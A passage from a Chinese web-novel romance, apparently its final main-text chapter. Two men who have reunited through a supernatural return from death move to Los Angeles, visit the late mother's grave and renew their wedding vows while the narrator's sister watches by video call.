“赵郢,他就是你想介绍的人?”赵莱把饺子咬开一个口,搁在蘸料碗中放凉。 赵郢:“是呀。” 饺子被料汁浇凉,赵莱沉默地咀嚼。 咽进肚子里了,她说:“在你之前,我从没看到过有人在同一个坑里摔到两次。” “这不叫坑,小妹。”赵郢笑着说。 韩谦耳朵贴着卧室门偷听到他们的谈话,频频点头,心想,怎么能叫他“坑”呢? “一开始我以为你只是玩玩。” 赵莱往饺子皮吹气,左手胡乱比着动作:“你懂吗赵郢?就是那种……谈着好玩儿,不认真不负责不主动。” “结果你几年后给我发了封结婚请柬,还让我成为你们婚礼的唯一见证人,说实话,我差点觉得你快开窍了。” 赵郢:“什么开不开窍的,我哪里不开窍了?” “哪都没开好吗!”赵莱白眼翻上天了,“你就好比一只蚌,就算拿锯子来也撬不开你的壳。有人把手指伸进来,你非但不狠咬他们一口,还任由他们连吃带拿。” 赵莱说了好几个“我以为”,比如她以为赵郢和韩谦真的会相伴到老,结果造化弄人,阴错阳差昂,两人一拍即散;她以为赵郢这辈子都不有下一个伴侣,结果开了个惊喜盒子,竟然找到与韩谦相似100%的代餐。 “你喜欢那位表哥吗?还是说你只是喜欢他的脸?”赵莱担忧地问。 赵郢解开围裙系带,坐到赵莱对面:“人的一生中,很多事都是冥冥注定。” “我不信灵魂附身之类的话。”赵莱迟疑地说,“但我尊重你的选择,也相信你有自己的判断。” “赵郢,你有选择永远不忘记韩谦的自由。” 赵郢这一刻很想告诉她,这个人就是韩谦,那场意外不过是上天开的玩笑,神明和他在寺庙燃烧的长生烛同时发挥作用,让他的爱人七天无理由返回到他身边。 还是算了,他心想。 这个乌龙不解开也好。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第37章 正文完 第37章 正文完 仿佛又回到了一切的…… 北纬34度, 洛杉矶。 那套南水的房子很快脱了手,赵郢是有些好运气在的,由于地段便利, 附近新建了一个商圈,售出时房价不减反增,白赚几十万。 钱款一到账, 他雷厉风行地办了行李托运,与赵莱在机场分别。 他和韩谦飞往洛杉矶, 赵莱休完事假, 回到现居城市接着为财富自由努力奋斗。 然而如果赵莱晚一小时登机,她将在第一时间看见银行发来的转账通知, 然后尖叫着给赵郢打电话, 问他为什么有这么多个零。 起飞的那几分钟, 赵郢感觉身体腾空,耳道中仿佛堵了团棉花。 他有些紧张地攥紧拳头, 不合时宜地想到一部叫《死神来了》的系列电影。 一只手覆住他绷紧的手背,赵郢侧过脸, 韩谦深情地说:“能不能想点好的, 嗯?我并不想这么年轻再死一次, 哪怕你陪我殉情也不可以。” 每逢出行,赵郢的交通工具恐惧综合征就发作一次, 坐飞机害怕飞机坠海,坐高铁害怕山体滑坡, 坐轮船害怕《泰坦尼克号》再现。 前两个韩谦能理解, 后一个就有些怪诞了。 国内的水道怎么可能会出现大冰川? 但不管怎么说,韩谦已见惯不怪。 飞机在云层中平稳地穿行,赵郢松开手掌, 掌心留下四个浅浅的月牙印。他缓了几秒,说:“比起机毁人亡,我还是更喜欢传统的寿终正寝。” 韩谦表示赞同。 飞机落地,他带着赵郢回到他和Hofmann女士曾经住过的公寓——尽管住了几年就搬去别的地方,韩谦还是把这套房又买了回来,留作纪念。 公寓的陈设很老旧了,人在地板上走动,能听到那种嘎吱嘎吱的声响。 上电梯的时候他们遇到一个邻居老太太,老人头发银白,戴着圆形的老花镜,见到韩谦时惊讶地问他是不是Andrew Hofmann。 韩谦想了很久,最终还是没有坦白,只说他是Andrew的哥哥。 “老天,你们兄弟两长得真像!”老太太看向赵郢,笑容慈祥,“那这位是?” “He’s my hubby.”韩谦回答道。 老太太露出一抹调侃的笑,说“Of course, I see”。 再就是一些类似“你们很般配”的话。 三个行李箱被推到墙边,里面装着赵郢反复精简筛选后觉得一定得带上的随身物品。 他靠着其中一个行李箱,目光飘过正前方墙壁上的涂鸦:“这是你小时候画的?” 韩谦忙着打扫客厅的尘灰,百忙之中看了一眼,说是啊,没想到上一任屋主没有重新粉刷,反而把它保留下来了。 彩色粉笔创造出的文字与图形经过时间的洗礼,颜色远没有当时那么艳丽,太阳褪成淡黄色,围绕在太阳周围的蝴蝶只有半边翅膀尚存。 斜下方歪歪扭扭地写着一句话,赵郢凑近一看,还好单词不难。 “I’m gonna be the sun!” 赵郢把这句话轻声念出来,韩谦耳朵很尖,连忙扔掉扫帚捂住他的眼睛,气急败坏地说“别看了别看了”。 赵郢失去视野,试图掰开韩谦的手,然而闹出一身汗也没成功。他发出微弱的喘,大半身子倒在韩谦胸口,手指还搭在他的手腕上。 气息交错,顷刻间有了新的化学反应。 韩谦啄吻着他汗湿的颈侧,在没有视觉的情况下,赵郢的衬衫被撩到锁骨偏下的位置。 “痒……别弄。”赵郢被亲得直躲。 眼前的遮挡终于被撤走,他来不及适应,下一秒又被韩谦单手抱起来直通卧室。 韩谦脚步一停,突然尬住了。 “怎么了?”赵郢拍拍他的肩。 韩谦把他放下来,从脖子一路红到耳尖::“前屋主把床一块搬走了。” “……” 赵郢回头一看,还真是。 “那怎么办呢。”声音一出来,连他自己都被吓了一跳,怎么是这种语气,这个腔调? 他被这种黏腻的口吻恶心出了一身鸡皮疙瘩。然而韩谦不这么觉得,他长臂圈紧赵郢的腰,胸前肌肉温度惊人,黏糊糊地蹭着他的鬓发。 赵郢被迫与他接了一个漫长的吻。 韩谦突如其来的亲昵犹如急风骤雨,雨点凝成坚硬的珠串,在滚烫的肌肤上敲打出脆生生的轻响。 衬衫滑落到肘部,赵郢只觉得后颈被人含在嘴里研磨,紧接着靠近尾椎的部位,被韩谦的手指轻轻点了一下。 “痛的话可以扇我。”韩谦说。 赵郢:? 他严重怀疑韩谦觉醒了什么不得了的癖好。 赵郢手臂撑着墙,微微侧头:“扇了你就停下?” 韩谦笑了,说那倒不会。 “有病。”赵郢一骂完,须臾被撞了个趔趄。 脱力时,他不小心蹭过那枚浅黄色的太阳,手心沾了淡淡的涂料与墙灰,他想找个东西蹭蹭手,不料韩谦把手压了上去,分属于不同主人的掌纹亲密相贴。 赵郢一抬头,就能看到那句歪歪扭扭的“I’m gonna be the sun”。 现实层面来看,人是人,太阳是太阳,人不可能成为后者。 可从精神层面上看,韩谦已经做了很久发光发热的太阳。 后面韩谦带他走遍了这间公寓的每个角落,浴缸里曾经漂浮着小黄鸭的浴室、被Greta惨不忍睹的厨艺炸了多次的厨房、挂满过幼年韩谦天马行空画作的卧室,以及残留着三任屋主生活轨迹的客厅。 这是韩谦成长的地方。 赵郢在某种程度上,见证了他人生最初的阶段。 “我爱你。” 在最后关头,赵郢忍不住喃喃道。 韩谦嘴角快咧到耳后,却装作没听到,要赵郢说得大声些。 赵郢嗓子哑得厉害,大声不了一点。他抱紧韩谦的脖子,凑近吻了吻他的唇角。 当晚,他们在附近找了家酒店过渡一夜,然后在第二天上午抵达Greta Hofmann所在的墓园。 这天的阳光与韩谦上一次飞回洛杉矶的时候一样好,赵郢将一束盛放的鲜花放到墓碑前,仔细地端详着上面的黑白遗照。 韩谦继承了他妈妈的眉眼,粗看别无二致,细看又有些区别。 照片中的Greta虽然笑容灿烂,可笑意不达眼底,像藏着几分哀伤。 韩谦单膝跪在他身侧,从口袋里取出厚厚一叠照片,用英文说了很多话,语速堪比加到二倍速的雅思听力。 说到最后一句,赵郢才勉强听懂韩谦说的是什么。 他说,我很想你,妈妈。 “我以前也不信上帝这种东西。”韩谦说,“自己亲身经历一次,才发现这些都是真的。什么鬼魂、轮回、天堂、地狱,都存在于另一个维度。” “算一算时间,她今年应该满一岁。” 赵郢不知为何有些动容。 “寿命”始终是一个常被人提起的话题,从古至今,无数人追求长生,古人炼丹药寻仙问道,却不知道他们眼中的“仙丹”其实是致命的毒剂,不光不能使人与天同寿,反倒加速了他们的死亡。 现在的人受过当代教育的洗礼,没那么蠢,但也聪明不到哪去,也想出各种稀奇古怪的办法,将自己的□□冷冻保存,盼望有朝一日先进的科技可以将他们解冻,实现原地飞升。 赵郢没有这方面的想法,韩谦也没有。 人活那么久干什么? 只要平平安安、幸福自由,七八十年也足够。 抱着“只看当下”的想法,他们在几天后启程,前往结婚那年去过的教堂。 说实话,赵郢其实不想折腾这么一趟,他现在每天都睡很晚,到下午一两点再被韩谦叫醒,吃当天第一顿“早饭”。他的作息简直一团糟,走两步路就腿软的程度。 在韩谦第八次吹耳边风时,赵郢吃痛地“啊”了一声,指甲在他背上划出一道长痕。 “行行行,去,我去。” 年轻人总喜欢仪式感,他心想。 同一时间、同一地点,天空被分割成橙、红、蓝三色,翻滚的云海模糊了色彩之间的边界,仿佛一副陈列多年的油画。 神父也是当年的那一个,他每年为太多新人做过见证,赵郢和韩谦的脸于他而言已经很陌生。 赵郢给赵莱打了通视频电话,凌晨五点,赵莱和嗷嗷大叫的公主一齐出现在镜头面前,比格犬满脸困倦,赵莱也不遑多让。 “赵郢,什么时候把你们的狗接走!” 赵莱大叫道:“它已经咬坏我房间第八个枕头了!” 公主配合地“汪”了一声,毫无悔意。 “后天回国,就快了。”赵郢保证道。 手机另一端,赵莱端着手机走到客厅,窗外的天刚蒙蒙亮,公主屁颠屁颠地跟在她身后,尾巴乱晃。 她听到手机里传来“那位表哥”的声音,那人在问赵郢和谁打电话,赵郢回了句“我妹”,又把公主这些天犯下的滔天罪行讲给那人听。 “噢。” 表哥懒洋洋地说,“早知道让小妹也来了,她在人中粘个假胡子,可以当神父。” 扬声器还传来一些其他的杂音,但赵莱听到这句话时,静止了很长一段时间。 如同一棵被雷劈中的木头,乍然福至心灵。 她开始回忆赵郢说的那句话—— 很多事,冥冥之中自有天注定。 真的会有一模一样的人吗?长相、声音、语气、性格,有没有一种可能,表哥不是韩谦的代餐,而是正餐本尊? 公主钻到她怀里,赵莱抱着她打了个冷颤。 她越想越后背发凉,脑回路已经歪到她哥施展邪术使骨灰变回人形,逆天而行让韩谦起死回生了。 想到这,又觉得未免离谱。 我哥是普通人,不是科学怪人,她心想。 “什么科学怪人?”赵郢面朝镜头问道。 赵莱捂住嘴巴,心想不好,不小心把心声讲出来。稍后她笑着打哈哈,说没有没有,我在陪公主看《科学怪狗》。 赵郢露出难以言喻的表情,无奈道:“这部片子是不是有点少狗不宜?” 赵莱:“你别管,比格大王就爱看这种类型。” 赵郢把手机架在一个稳固的地方,镜头拉远,此时到了与神父约定好的时间。 他与韩谦站在教堂最前端,身着制服的神父倒背如流地念着结婚誓词。 赵郢记不清他说了多少个“我愿意”,总之在末尾,他默背出记了两晚的誓词,声音与韩谦的重合在一起。 “我接受你成为我的合法伴侣,从此刻开始,无论贫穷还是富贵,无论健康还是疾病,我都将一如既往地爱你,尊重你,珍惜你,直到死亡将我们分开。” 云海静谧,日光洒在两人交握的手上,无声地聆听着誓词的起始与落幕。 仿佛又回到了一切的起点。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&